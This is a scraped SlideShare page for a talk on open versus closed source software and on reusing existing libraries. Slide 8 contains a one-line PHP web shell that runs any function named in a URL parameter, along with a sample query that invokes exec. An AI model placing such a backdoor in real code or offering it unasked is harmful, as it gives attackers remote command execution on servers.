Your SlideShare is downloading. ×
Polish the Wheel
Upcoming SlideShare
Loading in...5

Thanks for flagging this SlideShare!

Oops! An error has occurred.

Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Polish the Wheel


Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

No notes for slide


  • 1. Polish the wheel Andrei Avădănei
  • 2. Open Source vs Closed Source
  • 3. Open Source● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure● Service and Support - online community network● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit● Usability - lack of usability● Security - is often viewed as having security issues
  • 4. Closed Source● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills.● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime● Innovation - do not allow users to view or alter the source code - innovation comes fully tested● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
  • 5. Ok, now back to wheel!
  • 6. A guy smarter than me said thatGood programmers are writing their own codefrom scratch;BUTBest programmers are using code developedby good programmers. >:)
  • 7. Whose side are you?
  • 8. <?=($_=@$_GET[2]).@$_($_GET[1])?>● a lot of time wasted on creating modules that we could find already created● wasted time that we could use in innovation● most open source libraries have an API documentation + examples● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
  • 9. Examples● Wordpress, Joomla, Drupal for blog type projects● Moodle for e-learning projects● PHC, GCC, Open GTK for building and running apps● Chromium for building your own browser● Google Charts● Frameworks (Django, Zend, Smarty, Rails etc)● [...]
  • 10. Why not?You have the opportunity to change the world easier than ever!
  • 11. Questions?
  • 12. Thanks!